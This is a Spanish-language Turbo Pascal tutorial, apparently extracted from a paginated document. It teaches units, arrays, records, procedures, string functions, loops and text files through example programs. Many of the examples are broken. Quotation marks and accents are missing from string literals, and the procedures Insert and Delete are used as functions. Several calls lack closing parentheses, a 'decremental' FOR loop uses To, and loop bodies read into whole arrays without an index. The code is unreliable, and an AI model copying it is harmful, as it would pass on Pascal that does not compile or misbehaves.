You are on page 1of 29

Manual de Turbo Pascal

Turbo Pascal es un "lenguaje de programacin de alto nivel" bajo entorno ms-dos, con
esta poderosa herramienta, se pueden crear un sin nmero de aplicaciones que van
desde simples operaciones aritmticas como sumas, restas, hasta sistemas operativos,
lenguajes de programacin, simulacines, videojuegos, manejadores de base de datos,
virus y una amplia gama de programas cuyo nico lmite es solo la imaginacin del
programador.
Armar un programa en Turbo Pascal es como jugar con bloques de construccin o legos;
en estos se unen bajo un orden determinado una serie de piezas para lograr componer
una figura determinada, al final a muchos no les interesa el resultado sino la forma que se
constituyo; de igual modo, Pascal se compone de una serie de "PIEZAS" (Comandos,
procedimientos, funciones, ciclos, sentencias, etc) las cuales permiten armar una
determinada aplicacin para dar solucin a una necesidad o problema, esto se hace
colocando cuidadosamente en su sitio correcto la "PIEZA" a "ENSAMBLAR" para que al
final toda esta serie de partes "EMPALMEN" corretamente (como quien arma el motor de
un automovil) y den marcha a la aplicacin perseguida.
A pesar de que Turbo Pascal es un lenguaje orientado a objetos, este tutor esta orientado
a programacin estructurada. En el recorrido que vayas haciendo se explicarn los
comandos bsicos, con varios cdigos fuente y archivos ejecutables para cada uno de
ellos, los cuales los puedes descargar, y correr en tu computadora. Para ello debes tener
instalado el Turbo Pascal sea Versin 6.0 o 7.0.
Esta lnea de cdigo consiste en la palabra program seguida de un nombre identificador
que se lo da el usuario de acuerdo al tipo de programa que s este realizando, cabe
destacar de que al igual que otros lenguajes no se permiten el uso de palabras
reservadas porque s produciran errores de compilacin y por consiguiente los primeros
dolores de cabeza en tus primeros pininos como programador.

Begin {Inicio del programa principal}


Bloque de instrucciones
Comentarios y Asignaciones (Cabe destacar de que estos pueden ir en cualquier parte del
programa)
End. {final del programa principal}
Las unidades son aquellos bloques de cdigo que proporcionan funciones y
procedimientos que TURBO PASCAL trae incluidas en el archivo TURBO.TPL (Turbo
Pascal Libraries), siempre se invocan precedidas por la palabra reservada Uses;
Esta serie de herramientas son las que nos permiten construir poderosas aplicaciones
como juegos, simulaciones o uno que otro viruscito;
Ejemplo:
Uses crt;
Uses graph;
Uses dos;
Unidades incluidas
Crt (catode ray tube)
Esta unidad provee rutinas de control sobre el modo de la pantalla, cdigos extendidos de
teclado, colores, ventanas y sonidos.
Graph
Esta es una de las mas divertidas unidades, pues con la diversidad de funciones y

procedimientos que provee, sumados a unos sencillos algoritmos permite hacer desde
una simple linea o un crculo hasta una simulacin matemtica o un videojuego como
pacman o tetrix.
Dos
Esta unidad nos brinda las rutinas necesarias para interactuar con el sistema operativo
D.O.S. permitiendo tomar desde la hora o fecha del sistema hasta ejecutar programas o
comandos.
Printer
Permite imprimir lineas y archivos de tipo texto, si se quieren imprimir grficos hay que
recurrir a una serie de truquitos.
Aunque hay muchas mas unidades, os aseguro que para aprender a programar en Turbo
Pascal solo se necesitan las cuatro anteriores, eso s, teniendo en cuenta que el
programador puede crear sus propias unidades.
Constantes
Estas sirven para establecer valores que no cambiaran durante la ejecucin del programa,
siempre van precedidas de la palabra reservada CONST, luego se coloca el identificador
(o nombre que le vas a dar, por sino me entiendes), un igual (=) y el valor al cual se quiere
asignar la constante.
Ejemplo:
CONST
PI=3.1416;
MENSAJE=VIVA COLOMBIA!!;
NUMERO_ENTERO=12;
Tambin se pueden definir constantes con tipo, aunque estas ya no sern tan constantes
del todo, pues el valor que se les asigna inicialmente puede cambiar.
Ejemplo:
CONST
VaIor_parcial:integer=4;
Nombre:string[10]=COMPUTADOR;
Valor_real:real=0.3929;
Bandera:boolean=true;
Tipos
Estos (valga la redundancia) son tipos de datos ms complejos, es decir una agrupacin
de tipos de datos bsicos, entre estos podemos destacar: ARREGLOS, REGISTROS y
CONJUNTOS.
Arreglos: Un Array o arreglo es una variable que repite un tipo de datos un nmero
limitado de veces, la sintaxis es la siguiente:
Nombre_arreglo=array[limite_inferior . . limite_superior]of tipo de datos
Donde :
Nombre_arreglo
Hace referencia al identificador del tipo de dato del que ms adelante se sacarn las
variables, este puede ser cualquiera, pero es aconsejable que este relacionado con la
funcin que se va a desarrollar.
Array
Es la palabra reservada que le indica a Pascal que se va a definir un tipo Arreglo
En estos parntesis cuadrados se indica la extensin del arreglo y la forma, que puede

ser:
1. Vectores
El lmite inferior empieza en 1 y el superior es un valor entero positvo, a continuacin te
muestro tres de las formas para declararlos:
Program forma1;
Uses crt;
Const
Maximo=10;
Type
Vector=array[1..Maximo] of integer;
Program forma2;
Uses crt;
Const
Maximo=10;
Type
Contenido=1..Maximo;
Vector=array[Contenido] of integer;
Program forma3;
Uses crt;
Const
Maximo=10;
Var
Vector:array[1..Maximo] of integer;
2. Matrices
Observando las grficas puedes ya determinar la diferencia entre un vector y una matriz,
esta ltima est compuesta por filas y columnas, para declararse el primer factor en los
parentesis cuadrados[]hace referencia a las filas, y el segundo a las columnas, ahora
veamos varias formas de declarar una matriz.
Program forma1;
Uses crt;
Const
Maxima_fila=10;
Maxima_columna=10;
Type
Matriz=array[1..Maxima_fila,1..Maxima_columna] of integer;
Program forma2;
Uses crt;
Const
Maxima_fila=10;
Maxima_columna=10;
Type
Contenido=1..Maxima_fila,1..Maxima_columna;
Matriz=array[Contenido] of integer;
Program forma3;
Uses crt;
Const
Maxima_fila=10;
Maxima_columna=10;
Var
Matrizr:array[1..Maxima_fila,1..Maxima_columna] of integer;

A continuacin te doy unos ejemplos bsicos de vectores y matrices:


Ejemplos en archivos (arreglo.exe)
Una aplicacin prctica y divertida de las matrices son los videojuegos, algunos de los
que has manejado utilizan matrices y vectores para su funcionamiento, de estos podemos
destacar:

Registros: Sirven para agrupar diferentes tipos de datos en uno nuevo, la sintaxis es la
siguiente:
Nombre_del_registro=RECORD
Campo1 : Tipo Campo1;
Campo2: Tipo Campo2;
Campo3: Tipo Campo3;
.
.
.
Campon : Tipo Campon;
End;
Ejemplo:
Type
Datos_estudiante=RECORD
Nombre : string[40];
Direccin : string[50];
Telefono : string[15];
Edad : byte;
Mujer : boolean;
END;
Var
Tabla_estudiantes: Datos_estudiante;
Se puede acceder a elementos de un registro de dos formas:
Por referencia Explicita
En este tipo de asignacin se usa el nombre de la variable registro seguido por un punto y
a continuacin el nombre del campo, haciendo uso del ejemplo podra quedar as:
Tabla_estudiante.nombre:=Daniel;
Tabla_estudiante.direccion:=Popayan, Cauca;
Por referencia Implicita
En este caso se usa la sentencia WITH, la cual facilita enormemente el acceso, pues aqu
no se debe repetir el nombre del registro cada vez que se hace una asignacin.
Ejemplo:
WITH Tabla_estudiante DO
BEGIN
Nombre:=Daniel;

Direccion:=Popayan, Cauca, Colombia;


END;
Se puede tambien para algunos tipos de problemas declarar arreglos de registros as:
TYPE
Datos_estudiante=RECORD
Nombre : string[40];
Direccin : string[50];
Telefono : string[15];
Edad : byte;
Mujer : boolean;
END;
Arreglo_de_registros =ARRAY[1..50] of Datos_estudiante;
Var
Listado_estudiantes:Arreglo_de_registros;
Para acceder la informacin s hara de la siguiente forma:
Listado_estudiantes[1].nombre:=Daniel;
Listado_estudiantes[1].direccion:=Popayan, Cauca;
O tambien dentro de un ciclo.
Variables
Una variable es un nombre o identificador que "representa" a una porcin de memoria
donde se almacenan temporalmente los datos que cambiaran durante la ejecucin del
programa; para definir una variable (ya sea en el programa principal, en un procedimiento,
una funcin o una unidad) se debe escribir la palabra reservada VAR en la seccin de
definicin de variables, luego el nombre o identificador (Este no puede ser una palabra
reservada y se aconseja sea relacionado con la tara que va a desempear), y por ltimo
el tipo de datos al que va a pertenecer.
Sintaxis
VAR
Nombre_variable : Tipo de dato
PROCEDIMIENTOS y FUNCIONES
En algunas ocasiones se debe llamar un bloque de cdigo mas de una vez, una forma de
hacerlo es escribir las instrucciones tantas veces como se necesite, tornando de esta
manera programas con exceso de cdigo y dificultad para descubrir posibles errores, la
otra es meter las instrucciones en subprogramas que se invocan cada vez que se
necesiten.
Los procedimientos y funciones se declaran o escriben antes del begin principal, un
procedimiento o funcin puede contener otros procedimientos y funciones.
En resumen: Las subrutinas son escensialmente partes separadas de cdigo que
ejecutan tareas pequeas de un programa GRANDE.
PROCEDIMIENTOS
Un procedimiento es un grupo de sentencias que realizan una tarea concreta. En lugar de
reescribir el cdigo completo de esa tarea cada vez que se necesite, nicamente se hace
una referencia al procedimiento. Estos pueden recibir o enviar informacin el programa
principal, tcnicamente se conoce como PASO DE PARAMETROS, que puede ser POR
TRANSFERENCIA o POR VALOR.
Sintaxis
Procedure NOMBRE_DEL_PROCEDIMIENTO

CONSTANTES
TIPOS
VARIABLES
PROCEDIMIENTOS Y FUNCIONES
BEGIN
{Bloque de instrucciones}
END;
Este sencillo programita ilustra la forma de utilizar procedimientos sencillos
program Procedimientos_sencillos;
procedure Nombre;
begin
Writeln('Este Robot aun no tiene nombre');
end;
procedure Direccion;
begin
Writeln('C:\mis documentos\imgenes\caricaturas\');
end;
procedure Telefono;
begin
Writeln('0000 sin corriente');
end;
begin{Inicio del programa principal}
{Se invocan los diferentes procedimientos
Declarados anteriormente}
Nombre;
Direccin;
Telefono;
Readln;
end. {Final del programa principal}
Ah te va otro ejemplo:
program Otro_procedimiento_sencillo;
var Contador : integer;
procedure Escribe_el_titulo;
begin
Writeln('Este es el Ttulo');
end;
procedure Escribe_un_mensaje;
begin
Writeln('Este es el mensaje y el contador es ',Contador);
end;
procedure Escribe_el_final;
begin
Writeln('Este es el mensaje final');
end;
Begin {Inicio del programa principal}
Escribe_el_titulo;
for Contador := 1 to 10 do Escribe_un_mensaje;
{Observa detenidamente este ciclo FOR, como tiene una sola instruccin no lleva ni

BEGIN ni END}
Escribe_el_final;
End. {Final del programa principal}
Paso de Parmetros
Pasar un parmetro significa direccionar el valor de una variable del programa principal al
procedimiento hay dos clases:
Paso de parmetros por REFERENCIA
Cuando se pasa una variable a un procedimiento como parmetro por referencia, los
cambios que se efecten sobre dicha variable dentro del procedimiento se mantienen
incluso despus de que este haya terminado, es decir los cambios afectan al programa
principal.
Los cambios producidos POR PARAMETRO POR REFERENCIA son permanentes, pues
TURBO PASCAL no pasa al procedimiento el valor de la variable sino la direccin de
memoria de esta.
Sintaxis
PROCEDURE Nombre_procedimiento( VAR variable : tipo de dato)
BEGIN
{Bloque de instrucciones}
END;
Paso de parmetros por VALOR
La diferencia de pasar parmetros por referencia respecto a parmetros por valor radica
en que en estos ltimos se guarda en memoria una copia temporal de la variable, dentro
del procedimiento solo se utiliza la copia, cuando se modifica el valor del parmetro solo
afecta al almacenamiento temporal, la variable actual fuera del procedimiento nunca se
toca.
Sintaxis
PROCEDURE Nombre_procedimiento(variable : tipo de dato)
BEGIN
{Bloque de instrucciones}
END;
Ejemplo:
program Ambos_procedimientos;
var Contador : integer;
Indice : integer;
procedure Imprime_Datos(estable : integer);
{Este es un procedimiento de PARAMETRO por VALOR}
begin
Writeln('Esta es la rutina : ',estable);
estable := 12;
end;
procedure Imprime_y_modifica(var cambia : integer);
{Este es un procedimiento de PARAMETRO por REFERENCIA}

begin
Writeln('Esta es el procedimiento de impresin y modificacin ', Cambia);
Cambia := 35;
end;
begin (* Programa principal *)
for Contador := 1 to 3 do
begin
Indice := Contador;
Imprime_Datos(indice);
Writeln('Volvemos al procedimiento de impresin, Indice =',Indice);
Imprime_y_modifica(Indice);
Writeln('Volvemos al procedimiento de impresin, Indice =',Indice);
Imprime_datos(indice);
Writeln('Regresamos de nuevo a la impresin de nuevo y el valor del ndice es =',Indice);
Writeln; {Imprimimos una linea en blanco}
end;{Final del ciclo for}
readln;{Se hace una espera hasta que se presiona la tecla ENTER}
end. (* Final del programa principal *)
Si deseas ver el resultado de este programa por favor codifcalo en TURBO PASCAL
(suena como redundante, pero no falta el que lo meta en lenguaje C, y despus ande
diciendo que estos ejemplos no funcionan) y saca tus propias conclusiones.
FUNCIONES
Las funciones son, al igual que los procedimientos, un conjunto de sentencias que se
ejecutan constantemente, la diferencia entre stas y los procedimientos es que las
funciones regresan un valor. La declaracin de las funciones se realiza de la siguiente
forma: FUNCTION nombre(parmetros) : tipo_de_datos; A continuacin se escribe el
contenido de la funcin como una sentencia normal (sencilla o compuesta), normalmente
terminando con la igualacin de la funcin al valor que regresar. Ejemplo:
Function Promedio (A, B : Real) : Real; {Promedio De Dos Nmeros Reales}
Begin
Promedio := (A + B) / 2;
End;
Uso De Las Funciones
Como Las Funciones Devuelven Un Valor Especfico La Forma Ms Usual De Utilizarlas
Es Por Medio De Asignaciones De Una Variable A La Funcin. Ejemplo:
Program Funciones;
Var
X, Y, Z : Real;
Function Promedio (A, B : Real) : Real;
{Promedio De Dos Nmeros Reales}
Begin
Promedio := (A + B) / 2;
End;
Begin{Inicio Del Programa Principal}
{A Continuacin Inicializamos Las Variables}
X := 12.78;
Y := 6.38;
Z := Promedio (X, Y);

{Iguala Z Al Valor Devuelto Por La Funcin Promedio De X, Y}


Writeln('El Promedio De ',X,' Y ',Y,' Es: ',Z); {Impresin De La Informacin}
End. {Final Del Programa Principal}
Comentarios
Son cadenas de texto aclaratorias que sirven para documentar un programa y as tener
una mayor claridad de como este funciona.
Para insertar un comentario se usan los simbolos {} o (* *)
Ejemplo: {mi primer comentario}
(*mi segundo comentario*)
Los comentarios no afectan el cdigo del programa
Asignaciones
Asignar es darle un determinado valor a una variable, para hacer esto se usa :=
Ejemplo:
Cadena_de_texto:='hola colombia'; {Esta es una variable de tipo string}
Caracter:='c'; (*Esta es una variable de tipo char*)
Valor_total:=32.43; {Esta es una variable de tipo Real}
Edad:=28; (*Esta es una variable de tipo Integer*)
Hombre:=true; {Esta es una variable de tipo Boolean}
Como ya habas en visto los tipos de datos, las cadenas son secuencias de caracteres
con longitudes que varan desde 1 hasta los 255 caracteres. Aqu te ensear serie de
funciones y procedimientos que hacen ms fcil el manejo de estas.
Operador +
Si se quieren unir dos cadenas hasta que algo las separe, se recurre al operador mas +,
el proceso funciona exactamente como una suma la nica limitante es que en caso de ser
mayor la longitud resultante de la suma que la longitud que pueda manejar la variable en
que se almacenar se truncarn los caracteres sobrantes. Ejemplo:
Program suma_cadenas;
Uses crt;
Var
Hombre, Mujer: string[20];
Enlace:string[3];
Matrimonio:string[40];
Begin
Clrscr;
Hombre:= 'ADAN';
Mujer:= 'EVA';
Enlace:=' Y ';
Matrimonio:= Hombre + enlace +Mujer;
Writeln('Esposo : ',Hombre);
Writeln('Mujer : ',Mujer);
Writeln('Y con el uso del operador +, yo los declaro : ',Matrimonio);
Readln;
End.
FUNCIONES

UpCase
Esta pequea pero eficiente funcin nos permite pasar a maysculas el caracter dado
como parmetro; ejemplo:
Program funcion_upcase;
var
caracter : char;
begin
Carcter:=readkey;{Se lee cualquier tecla}
Carcter:=upcase(Carcater);{Si esta en minscula, lo pasa a mayscula}
End.
Length
Esta nos sirve para obtener la longitud de una cadena, longitud es la cantidad de
caracteres que contiene la cadena, es como coger un flexmetro y tomar la medida de
cualquier objeto; Ejemplo:
Program funcion_length;
var
cadena : string;
begin
cadena := 'Este es el tutorial de programacin de turbo pascal';
writeln ('la longitud de la cadena: ', length (cadena));
end.
Concat
Esta trabaja de manera similar al operador +, la suma de las cadenas no deber
sobrepasar la longitud que la variable, a la cual se asignar dicha suma; Ejemplo:
Program concatena_cadenas;
Uses crt;
Var
Hombre, Mujer: string[20];
Enlace:string[3];
Matrimonio:string[40];
Begin
Clrscr;
Hombre:= 'ADAN';
Mujer:= 'EVA';
Enlace:=' Y ';
Matrimonio:= concat(Hombre, enlace, Mujer);
Writeln('Esposo : ',Hombre);
Writeln('Mujer : ',Mujer);
Writeln('Y con el uso del operador +, yo los declaro: ',Matrimonio);
Readln;
End.
Pos
Pos nos sirve para localizar una determinada cadena dentro de otra, en otras palabras
para verificar si una cadena es subcadena de otra segunda.
Los parmetros que requiere son: la cadena que se buscar y la cadena donde se
buscar la primera:
Pos (Cadena1, Cadena2);
Cuando encuentra la cadena la funcin devuelve su posicin inicial, en caso de que no la
encuentre devuelve el valor de 0.

Ejemplo:
Program Encuentra_posiciones;
Uses crt;
Var
Hombre, Mujer: string[20];
Enlace:string[3];
Matrimonio:string[40];
Begin
Clrscr;
Hombre:= 'ADAN';
Mujer:= 'EVA';
Enlace:=' Y ';
Matrimonio:= concat(Hombre, enlace, Mujer);
Writeln(Pos('ADAN', Matrimonio);
Writeln(Pos('EVA', Matrimonio);
Readln;
End.
Copy
La funcin copy regresa una subcadena de una variable o constante dada como
parmetro. Su sintaxis es:
Copy (Cadena, Inicio, Cantidad);
Donde Cadena es la fuente de la subcadena, Inicio es la posicin desde la cual se
obtendr la subcadena y Cantidad es el nmero de caracteres que se extraern.
Los valores de Inicio y Cantidad deben ser de tipo entero.
Ejemplo:
Program Manejo_de_Copy;
Uses crt;
Var
Hombre, Mujer: string[20];
Enlace:string[3];
Matrimonio:string[40];
Begin
Clrscr;
Hombre:= 'ADAN';
Mujer:= 'EVA';
Enlace:=' Y ';
Matrimonio:= concat(Hombre, enlace, Mujer);
Writeln(copy(Matrimonio,3,6);{Aqu se escribir 'an y E'}
Readln;
End.

PROCEDIMIENTOS
Insert
El procedimiento Insert sirve para insertar una cadena dentro de otra en alguna posicin
determinada.
Sintaxis:

Insert (Cadena1, Cadena2, Posicin)


Donde Cadena1 es la que se insertar, Cadena2 es donde se insertar y Posicin es el
lugar donde se insertar. El parmetro Posicin debe ser de tipo entero.
Program Manejo_de_Insert;
Uses crt;
Var
Hombre, Mujer, Hijo: string[20];
Enlace:string[3];
Matrimonio:string[80];
Begin
Clrscr;
Hombre:= 'ADAN';
Mujer:= 'EVA';
Enlace:=' Y ';
Hijo:=' ,SU HIJO ABEL';
Matrimonio:= concat(Hombre, enlace, Mujer);
Writeln(insert(Hijo, Matrimonio,5);
Readln;
End.
Delete
Este procedimiento elimina un determinado nmero de caracteres de una cadena. Su
sintaxis es:
Delete (Cadena, Inicio, Nmero)
Cadena es la variable en la cual se eliminarn los caracteres, Inicio es la posicin del
primer caracter a eliminar y Nmero es la cantidad de caracteres que se borrarn;
ejemplo:
Program Manejo_de_Delete;
Uses crt;
Var
Hombre, Mujer, Hijo: string[20];
Enlace:string[3];
Matrimonio:string[80];
Begin
Clrscr;
Hombre:= 'ADAN';
Mujer:= 'EVA';
Enlace:=' Y ';
Hijo:=' ,SU HIJO ABEL';
Matrimonio:= concat(Hombre, enlace, Mujer);
Writeln(insert(Hijo, Matrimonio,5);
Writeln(delete(Matrimonio,7,8);
Readln;
End.
Str
El procedimiento Str pasa a una cadena un valor numrico sea REAL o INTEGER, es muy
til para imprimir variables numricas en programas bajo modo grfico, Su sintaxis es:
Str(Variable_numerica, Cadena)
A continuacin te doy un excelente programa ejemplo que hace uso de este potente

procedimiento: el tiro parablico.


Val
Este procedimiento convierte una cadena en un valor de tipo numrico (ya sea Integer o
Real), el problema con esta funcin es que si la cadena no esta formada exclusivamente
de nmeros siguiendo las reglas para el tipo de datos que se vallan a obtener se generar
un error. Sintaxis:
Val (Cadena, Numero, Cdigo)
Cadena contiene la cadena que ser procesada.
Numero es la variable de tipo numrico donde se guardar el valor de la cadena.
Cdigo es una variable de tipo entero (Integer) que contendr el valor de 0 si no hubo
errores y un valor diferente en caso de que no se haya podido convertir la cadena, el valor
de Cdigo representa la posicin de la cadena donde ocurri el error.
SENTENCIAS CONDICIONALES
Supongamos que eres un super atleta de los 100 metros planos, cuando compitas solo
ganas la medalla de oro SI llegas de primero, SI NO llegas de primero y llegas de
segundo te ganas la de plata, SI NO llegas ni de primero ni de segundo pero SI llegas de
tercero te ganas la de bronce y as sucesivamente.
Con esto te quiero dar a entender que la vida esta repleta de sentencias condicionales, en
las cuales cada persona debe decidir entre una cosa u otra, de igual modo para regular el
control de un programa y que se decida entre una linea de cdigo y otra se dispone de las
sentencias:
If -Then- Else
Case
CICLOS
En la mayor parte de los programas se necesita repetir bloques de instrucciones tantas
veces como lo requiera, la vida diaria de cualquier persona, animal o cosa esta repleta de
ejemplos de ciclos, las computadoras solo se han encargado de copiarlos.
Podemos citar la accin que se produce cuando ingieres un delicioso sandwich: lo
muerdes y lo muerdes, y as repites el proceso hasta que este se acaba; en un equipo de
sonido si colocas un casete de msica y observas detenidamente el movimiento giratorio
de los engranajes, estos se repiten y se repiten hasta que la cinta se ha rebobinado
completamente o hasta que alguien la detiene, del mismo modo ocurre con los
videojuegos que practicas podemos citar a MARIO BROS, aqu juegas hasta que se te
acaben las vidas o rescates a la princesa.
Una forma de hacer un proceso repetitivo consiste en escribir tantas veces como se
necesite las instrucciones a utilizar, como ejemplo de ello cito un programa en el que se
deben almacenar 5 nmeros en un arreglo de tipo entero y despus sumarlos.
Program Sin_Ciclos;
Uses Crt;
Const
N=5;
Type
Vector = Array[1..N] Of Integer;
Var
Vector_Numeros : Vector;
Suma : Integer;
Promedio : Real;

Begin
Clrscr;
Textcolor(Lightmagenta);
Writeln(Lectura Sin Ciclos : );
Textcolor(White);
Write(Digite Nmero :);
Readln(Vector_Numeros[1]);
Write(Digite Nmero :);
Readln(Vector_Numeros[2]);
Write(Digite Nmero :);
Readln(Vector_Numeros[3]);
Write(Digite Nmero :);
Readln(Vector_Numeros[4]);
Write(Digite Nmero :);
Readln(Vector_Numeros[5]);
Suma:= Vector_Numeros[1]+ Vector_Numeros[2]+ Vector_Numeros[3]+
Vector_Numeros[4]+ Vector_Numeros[5];
Promedio:=Suma/N;
Writeln(La Suma Es = ,Suma);
Writeln(El Promedio Es ,Promedio:0:2);
Readln;
End.
Este programa es demasiado ineficaz, pues debe escribirse 5 veces el mismo mensaje, 5
veces la sentencia de lectura y ademas deben ser 5, ni mas ni menos para solucionar
este tipo de problemas se inventaron los ciclos repetitivos, en TURBO PASCAL contamos
con 3:
For Do
Repeat-Until
While Do
En cada uno de estos daremos una solucin ms prctica al ejemplo anterior, cabe
destacar que todos funcionan hasta que se cumple con una condicin que es la
encargada de hacer parar el ciclo y continuar con el resto de instrucciones del programa.

Ciclo For Do (Para Haga)


Este ciclo ejecuta una serie de instrucciones incrementando o decrementando una
variable hasta un tope determinado.
SINTAXIS GENERAL
For Variable:=Inicio To Tope Do
Begin
{Bloque De Instrucciones}
End;
Forma Incremental
For Variable:=Valor_Menor To Valor_Mayor Do
Begin
{Bloque De Instrucciones}
End;

Forma Decremental
For Variable:=Valor_Menor To Valor_Mayor Do
Begin
{Bloque De Instrucciones}
End;
La variable controladora del ciclo es generalmente de tipo INTEGER, pero tambien se
puede en algunas ocasiones declarar de tipo carcter asi:
For Letras:=a to z do
Begin
{En este ciclo se recorre el alfabeto de la a a la z de letra en letra}
End;
Similar a otras instrucciones, si el ciclo FOR DO tiene una sola instruccin no requiere
BEGIN END, en caso contrario si!, una delas desventajas de este ciclo es que hasta que
no se hallan ejecutado el nmero de instrucciones determinado no se detiene, si alguna
vez tienes un problemilla de este tipo deberas recurrir a alguno de los otros dos : REPEAT
UNTIL o WHILE DO
Ejemplo:
Program Ciclo_For;
Uses Crt;
Const
N=5;
Type
Vector = Array[1..N] Of Integer;
Var
Vector_Numeros : Vector;
Suma : Integer;
Promedio : Real;
I : Byte;
Begin
Clrscr;
Textcolor(Lightmagenta);
Writeln(Lectura Con Ciclo For );
Textcolor(White);
For I:=1 To N Do
Begin
Write(Digite Nmero:);
Readln(Vector_Numeros);
Suma:= Suma + Vector_Numeros;
End;
Promedio:=Suma/N;
Writeln(La Suma Es = ,Suma);
Writeln(El Promedio Es ,Promedio:0:2);
Readln;
End.
Compara este programa con el diseado sin ciclos y veras la gran diferencia.
Para mayor claridad, a continuacin presento otros ejemplos, codificalos, compilalos y
observa que es lo que hacen.

Nota: Como puedes ver, estos programas usan ninguna unidad, en este caso emplean la
estndar por defecto.
Program Segundo_ejemplo_ciclo_for;
Var
Numero: integer;
Begin
For numero:=1 to 150 do writeln(numero);{Aqu se imprime de forma incremental linea a
linea desde el nmero 1 hasta el 150}
Readln;
End.
Program Tercer_ejemplo_ciclo_for;
Var
Numero: integer;
Begin
For numero:=150 downto 1 do writeln(numero); {Aqu se imprime de forma decremental
linea a linea desde el nmero 150 hasta el 1}
Readln;
End.
CICLO WHILE DO (MIENTRAS HAGA)
Este ejecuta una serie de instrucciones un nmero no determinado de veces hasta que se
cumpla con una condicin establecida , aunque tambien se puede hacer que trabaje de
manera similar al ciclo FOR.
Una de las ventajas del ciclo WHILE es que puede evaluar variables de muchos mas tipos
que el ciclo FOR(Recuerda que en este solo se pueden usar variables de tipo
CARCTER y ENTERAS) entre ellas destacamos las de tipo STRING, BOOLEAN,
INTEGER, REAL, ARREGLO.
El ciclo WHILE evalua y despues ejecuta instruccciones
Si lleva mas de una instrccin necesita BEGIN - END
SINTAXIS
While (Expresin_A_Evaluar) Do
Begin
{Bloque De Instrucciones}
End;
Program Ciclo_While;
Uses Crt;
Const
N=5;
Type
Vector = Array[1..N] Of Integer;
Var
Vector_Numeros : Vector;
Suma : Integer;
Promedio : Real;
I : Byte;
Begin
Clrscr;
Textcolor(Lightmagenta);

Writeln(Lectura Con Ciclo While );


Textcolor(White);
I:=0;{Notese Que Primero Se Debe Inicializar La Variable}
While (I<=N) Do
Begin
I:=I+1;{La Variable Controladora Del Ciclo Se Incrementa En Un Valor Determinado, En
Este Caso Hemos Escogido 1, Pero Podra Ser Otro}
Write( Digite Nmero :);
Readln(Vector_Numeros);
Suma:= Suma +Vector_Numeros;
End;
Ppromedio:=Suma/N;
Writeln(La Suma Es = ,Suma);
Writeln(El Promedio Es ,Promedio:0:2);
Readln;
End.
Otro de impresin de nmeros, pero este se incrementa de dos en dos.
Program ciclo_WHILE2;
Var
Numero: Integer;
Begin
Numero:= 1;
While Numero <= 100 do
Begin
WriteLn (Numero);
Numero := Numero +2;
End;
Readln;
End.
CICLO REPEAT UNTIL (REPITA HASTA)
EL CICLO "REPITA" (Como cariosamente se le llama en la jerga de los programadores)
actua de manera similar al ciclo WHILE DO, con la pequea diferencia de que en este
se ejecutan las instrucciones y despues se evalua la condicin.
Este no necesita BEGIN ni END, aunque tampoco dice nada si se los colocas.
SINTAXIS
Repeat
{Bloque de instrucciones}
Until (Expresin_a_evaluar)
Program ciclo_repeat_until;
Uses crt;
Const
N=5;
Type
Vector = Array[1..N] of Integer;
Var
Vector_numeros : Vector;

Suma : Integer;
Promedio : Real;
I : Byte;
Begin
Clrscr;
Textcolor(LightMagenta);
Writeln(Lectura con ciclo REPEAT );
Textcolor(White);
i:=0;{Notese que primero se debe inicializar la variable}
Repeat
I:=i+1;{La variable controladora del ciclo se incrementa en un valor determinado, en este
caso hemos escogido 1, pero podra ser otro}
Write(Digite nmero :);
Readln(Vector_numeros);
Suma:= Suma + Vector_numeros;
Until (i>=N);
Ppromedio:=Suma/N;
Writeln(La Suma es = ,SUMA);
Writeln(El promedio es = ,PROMEDIO:0:2);
Readln;
End.
Otro ejemplo del ciclo repeat, este imprime nmeros de 5 en 5
Program Ciclo_Repeat_Until2;
Var
Numero: Integer;
Begin
Numero:= 1;
Repeat
WriteLn (Numero);
Numero := Numero + 5;
Until Numero = 200;
readln;
End.
Ya para finalizar te presento un programa que mediante el uso de el ciclo REPEAT UNTIL simula un PUBLIK, desplegando mensajes que se pueden entrar desde teclado, la
hora que es tomada del sistema y una temperatura que se genera aleatoriamente al igual
que los tipos de letra.
Como prctica seria muy provechoso que implementaras el mismo programa pero con
CICLOS WHILE-DO y FOR - DO.
ARCHIVOS
Desde un punto de vista tcnico, un archivo es un conjunto de informacin de un mismo
tipo,almacenada en un medio fsico, lgicamente estructurada para facilitar su acceso,
modificacin y eliminacin.
Cuando realizas un dibujo en PAINT, una carta en WINWORD, o una hoja de clculo en
EXCEL, y escoges la opcin GUARDAR, estas archivando, es decir se pasa la
informacin de la memoria a una unidad de almacenamiento para posteriormente poder

recuperarla y trabajar sobre ella; de igual modo Turbo Pascal tiene estructuras de
almacenamiento de informacin para que los datos producidos por un determinado
programa se puedan observar en posteriores ocasiones, o en un nivel mas avanzado
disear una base de datos similar a FOXPRO o ACCESS, o guardar el registro de los
mejores puntajes para un determinado videojuego.
Archivos de Tipo Texto
Los archivos de tipo texto son llamados tambin archivos de acceso secuencial, estn
formados por cadenas de caracteres separadas unas de otras por los cdigos retorno de
carro/salto de lnea (RC/SL), la combinacin RC/SL (Cdigos ASCII 10 y 13) se conoce
como delimitador. Un delimitador marca el final de algn elemento como un campo, un
registro o una linea.
El final del archivo se indica mediante el caracter ASCII 26, que tambin se expresa como
^Z o EOF.
Es posible visualizar estos archivos con la orden TYPE del sistema operativo DOS y se
pueden editar con cualquier editor de textos como WorPad o el block de notas de notas
de Windows 95.
Este tipo de archivos solo permite operaciones de lectura y escritura secuenciales, la
nica forma de modificarlos es agregando lneas al final del archivo.
Los pasos para leer o escribir en un archivo de este tipo son:
Declarar una variable de tipo texto y asociarla al nombre de un archivo A esto tambin se
le llama declarar el archivo.
Abrir el archivo ya sea para lectura o escritura.
Leer o escribir datos en el archivo.
Cerrar el archivo .
Declaracin de un archivo
Para declarar un archivo primero se declara una variable tipo text de la siguiente forma:
VAR
NOMBRE_ARCHIVO : TEXT
Una vez declarada la variable se asigna al nombre de algn archivo:
ASSIGN (VarArchivo, NombreArchivo);
Donde Nombre_Archivo es una cadena de caracteres que contiene el nombre del archivo,
la unidad de disco donde se encuentra y el directorio. Por ejemplo:
ASSIGN (Nombre_Archivo,'C:\LENGUAJE\TURBO7\BIN\EJEMPLO.TXT');
Abrir archivos
Para abrir un archivo se puede hacer de tres formas:
Rewrite
Reset
Append
Escribir datos en un archivo
Para escribir datos a un archivo se utilizan las instrucciones Write y WriteLn, como si se
quisiera escribir a la pantalla, con la diferencia de que se especificar la variable de
archivo ya declarada.
Ejemplo:

WriteLn(Nombre_Archivo, 'Prueba de archivos');


Esta sentencia grabara el texto 'Prueba de archivos' en el archivo asignado a
Nombre_Archivo.
Leer datos de un archivo
